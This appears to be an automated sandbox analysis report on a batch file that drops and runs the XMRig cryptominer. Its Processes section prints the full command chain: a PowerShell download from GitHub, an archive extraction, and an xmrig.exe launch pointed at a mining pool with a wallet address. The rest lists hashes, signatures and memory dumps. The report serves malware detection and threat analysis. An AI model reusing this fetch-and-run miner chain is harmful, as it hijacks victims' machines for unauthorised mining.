Analysis

  • max time kernel
    1797s
  • max time network
    1800s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-01-2024 07:21

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:164
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2788
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1200

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c5b1049fe2f3a3e0340fed877863cd44

    SHA1

    38921f6d91210d0ddd01630df3fbfc703cd9034f

    SHA256

    e1313149e383a94878b0aef6918b6a2b5fac51230349ff7d6fce06c634a86308

    SHA512

    42e5d38f088497b88d5b31db3973550273d293153db349a5a4561a28feb953493c0d0b9f93b49eb52c72d2effa4edf481227c9d99c18e8076dc6e4eb89b1b3bb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ifucjfkw.jkb.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    92KB

    MD5

    bf81885c3e45ed8362740683d8f66042

    SHA1

    4990c4894c2fd9a7dc309afbd75488ff1339f08b

    SHA256

    c325c6366cc49c29a245ccc0bb034dc027ae507d1a9bc8acc42cf933f7c45b8d

    SHA512

    9aa1245a2d56179d47d4ee1f583012faa9ef012bfddb7d264a80dc8c2ea95e7a5db20d2fe12bf417151eeb918392ab859e78080e452e5dc4e4b2a672e2aceaa1

  • memory/164-4-0x00000241793A0000-0x00000241793C2000-memory.dmp

    Filesize

    136KB

  • memory/164-7-0x0000024179550000-0x00000241795C6000-memory.dmp

    Filesize

    472KB

  • memory/164-22-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/164-25-0x0000024179390000-0x00000241793A0000-memory.dmp

    Filesize

    64KB

  • memory/164-24-0x0000024179390000-0x00000241793A0000-memory.dmp

    Filesize

    64KB

  • memory/164-23-0x0000024179390000-0x00000241793A0000-memory.dmp

    Filesize

    64KB

  • memory/164-26-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/164-27-0x0000024179390000-0x00000241793A0000-memory.dmp

    Filesize

    64KB

  • memory/164-28-0x0000024179390000-0x00000241793A0000-memory.dmp

    Filesize

    64KB

  • memory/164-33-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/1200-144-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-151-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-187-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-186-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-185-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-184-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-120-0x000002842CD10000-0x000002842CD50000-memory.dmp

    Filesize

    256KB

  • memory/1200-121-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-123-0x000002842D3A0000-0x000002842D3C0000-memory.dmp

    Filesize

    128KB

  • memory/1200-122-0x000002842D380000-0x000002842D3A0000-memory.dmp

    Filesize

    128KB

  • memory/1200-124-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-125-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-126-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-127-0x000002842D380000-0x000002842D3A0000-memory.dmp

    Filesize

    128KB

  • memory/1200-128-0x000002842D3A0000-0x000002842D3C0000-memory.dmp

    Filesize

    128KB

  • memory/1200-129-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-130-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-131-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-132-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-133-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-134-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-135-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-136-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-137-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-138-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-139-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-140-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-141-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-142-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-143-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-119-0x00000283991A0000-0x00000283991C0000-memory.dmp

    Filesize

    128KB

  • memory/1200-145-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-146-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-147-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-148-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-149-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-150-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-183-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-152-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-153-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-154-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-155-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-156-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-157-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-158-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-159-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-160-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-161-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-162-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-163-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-164-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-165-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-166-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-167-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-168-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-169-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-170-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-171-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-172-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-173-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-174-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-175-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-176-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-177-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-178-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-179-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-180-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-181-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/1200-182-0x00007FF6F3E80000-0x00007FF6F4983000-memory.dmp

    Filesize

    11.0MB

  • memory/2788-39-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2788-79-0x0000022879400000-0x0000022879412000-memory.dmp

    Filesize

    72KB

  • memory/2788-65-0x0000022878990000-0x00000228789A0000-memory.dmp

    Filesize

    64KB

  • memory/2788-41-0x0000022878990000-0x00000228789A0000-memory.dmp

    Filesize

    64KB

  • memory/2788-40-0x0000022878990000-0x00000228789A0000-memory.dmp

    Filesize

    64KB

  • memory/2788-92-0x0000022879270000-0x000002287927A000-memory.dmp

    Filesize

    40KB

  • memory/2788-116-0x00007FFBD2060000-0x00007FFBD2A4C000-memory.dmp

    Filesize

    9.9MB